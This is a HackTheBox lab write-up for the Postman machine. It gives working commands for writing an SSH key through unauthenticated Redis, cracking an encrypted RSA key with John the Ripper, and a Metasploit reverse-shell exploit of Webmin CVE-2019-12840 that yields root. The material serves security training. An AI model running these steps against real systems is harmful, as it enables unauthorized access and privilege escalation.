> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/postman-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Postman Writeup

## Summary

Postman is an easy-rated Linux machine on HackTheBox. The box exposes an unauthenticated Redis instance that allows writing an SSH public key to the `redis` user's `.ssh` directory, granting initial shell access. From there, an encrypted RSA private key belonging to user `Matt` is recovered, cracked offline with John the Ripper, and reused due to password reuse to `su` into `Matt` for the user flag. Enumeration of Matt's owned files reveals a hint pointing to the previously unchecked Webmin service on port 10000, where the same reused password grants admin access to Webmin 1.910 — vulnerable to CVE-2019-12840, an authenticated RCE via the Package Updates module — leading to a root shell.

## Recon

```bash
nmap -sC -sV -p- -A <MACHINE-IP> -oA nmap
```

### Open ports

| Port  | Service                 | Version                                             |
| ----- | ----------------------- | --------------------------------------------------- |
| 22    | SSH                     | OpenSSH 7.6p1 (Ubuntu)                              |
| 80    | HTTP                    | Apache 2.4.29 — "The Cyber Geek's Personal Website" |
| 6379  | Redis                   | Redis 4.0.9                                         |
| 10000 | HTTP (initially missed) | MiniServ 1.910 (Webmin), SSL-only                   |

The port 80 site is a static personal page and doesn't yield credentials or paths directly. The standout finding is Redis on 6379 with no authentication configured.

## Foothold via Redis Key Write

Connecting to Redis unauthenticated confirms no `requirepass` is set:

```bash
redis-cli -h <MACHINE-IP>
CONFIG GET *
```

Key fields of interest:

* `requirepass` — empty (no auth)
* `dir` — `/var/lib/redis`
* `dbfilename` — `dump.rdb`

Since Redis runs as the `redis` system user, which has an `.ssh` folder in its home directory, the classic Redis SSH-key-write technique applies: tell Redis to save its data file directly into `~redis/.ssh/authorized_keys`, with an SSH public key stored as the value of a Redis key. The padding newlines around the key keep the surrounding RDB file bytes from corrupting the key line.

```bash
(echo; echo; cat ~/.ssh/id_rsa.pub; echo; echo) | redis-cli -h <MACHINE-IP> -x set mykey
redis-cli -h <MACHINE-IP> config set dir /var/lib/redis/.ssh
redis-cli -h <MACHINE-IP> config set dbfilename authorized_keys
redis-cli -h <MACHINE-IP> save
```

```bash
ssh -i ~/.ssh/id_rsa redis@<MACHINE-IP>
```

This lands a shell as `redis` (`uid 107`), a low-privilege user in the `redis` group only.

## Privilege Pivot: Matt's Encrypted SSH Key

As `redis`, search for files owned by `Matt`:

```bash
find / -type f -user Matt 2>/dev/null
```

Notably, `/opt/id_rsa.bak` is a PEM RSA private key encrypted with `DES-EDE3-CBC`. After copying it locally and preparing it for cracking:

```bash
ssh2john matt-key > matt-key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt matt-key.hash
```

John recovers the passphrase: `computer2008`.

Decrypting the key locally works:

```bash
openssl rsa -in matt-key -out matt-key-decrypted
```

A direct SSH login attempt as `matt` using the decrypted key is rejected because the key is not authorized for that account over SSH. Given the password reuse pattern already established by needing it to decrypt the key, try the same passphrase directly against the `Matt` Linux account from the existing `redis` shell:

```bash
su Matt
# password: computer2008
```

This succeeds, yielding the user flag at `/home/Matt/user.txt`.

`sudo -l` confirms Matt has no sudo rights, so a different angle is needed for root.

## Escalation: Webmin RCE (CVE-2019-12840)

Reviewing files owned by `Matt` again surfaces `/var/www/SimpleHTTPPutServer.py`, a custom Python 2 HTTP PUT server script. This is a hint that port 80 is not the only web service worth revisiting, prompting a second look at port 10000.

Browsing to port 10000 over HTTPS shows a Webmin login page for host `postman.htb`. Once authenticated, the dashboard confirms **Webmin version 1.910** on Ubuntu 18.04.3.

Given the established password reuse pattern, `Matt` / `computer2008` succeeds against the Webmin login with admin access.

Webmin 1.910 is vulnerable to **CVE-2019-12840**, an authenticated remote command execution in the Package Updates module, exploitable via Metasploit:

```
use exploit/linux/http/webmin_packageup_rce
set rhosts <MACHINE-IP>
set rport 10000
set ssl yes
set username Matt
set password computer2008
set lhost <LOCAL-TUN0-IP>
set lport 3333
run
```

The module returns a command shell running as **root**:

```bash
whoami
root
cat /root/root.txt
```

## Flags

* **User flag (Matt):** `HTB{REDACTED}`
* **Root flag:** `HTB{REDACTED}`

## Attack Chain

{% stepper %}
{% step %}

### Unauthenticated Redis access

Unauthenticated Redis on port 6379 allows writing an SSH public key into the `redis` user's `authorized_keys` file through `CONFIG SET dir`, `CONFIG SET dbfilename`, and `SAVE`.
{% endstep %}

{% step %}

### SSH foothold as `redis`

SSH into the target as the low-privilege `redis` user.
{% endstep %}

{% step %}

### Recover Matt's encrypted SSH key

Locate `/opt/id_rsa.bak`, an encrypted RSA key owned by `Matt`.
{% endstep %}

{% step %}

### Crack the key passphrase

Use `ssh2john`, John the Ripper, and `rockyou.txt` to recover the passphrase `computer2008`.
{% endstep %}

{% step %}

### Pivot to Matt

Reuse the cracked passphrase with `su Matt` to obtain the user flag.
{% endstep %}

{% step %}

### Identify the Webmin service

Enumerate files owned by `Matt` and find a hint pointing back to the previously unchecked Webmin service on port 10000.
{% endstep %}

{% step %}

### Reuse credentials for Webmin

Log into Webmin 1.910 as `Matt` with the reused password `computer2008`.
{% endstep %}

{% step %}

### Exploit Webmin for root

Exploit CVE-2019-12840 in the Package Updates module via Metasploit to obtain a root shell and retrieve the root flag.
{% endstep %}
{% endstepper %}

## Key Vulnerabilities

| Vulnerability                  | Description                                                                                                                                             |
| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Unauthenticated Redis instance | No `requirepass` set; allows arbitrary file write via `CONFIG SET dir/dbfilename` + `SAVE`, enabling SSH key injection                                  |
| Weak/reused credentials        | Passphrase `computer2008` protecting Matt's backup SSH key was crackable via rockyou.txt and was reused for both the Linux account and the Webmin panel |
| CVE-2019-12840                 | Webmin ≤ 1.910 Package Updates module authenticated remote command execution, leading directly to root                                                  |
| Sensitive file left on disk    | `/opt/id_rsa.bak`, an encrypted private key for `Matt`, was world-readable and enabled the entire escalation path                                       |
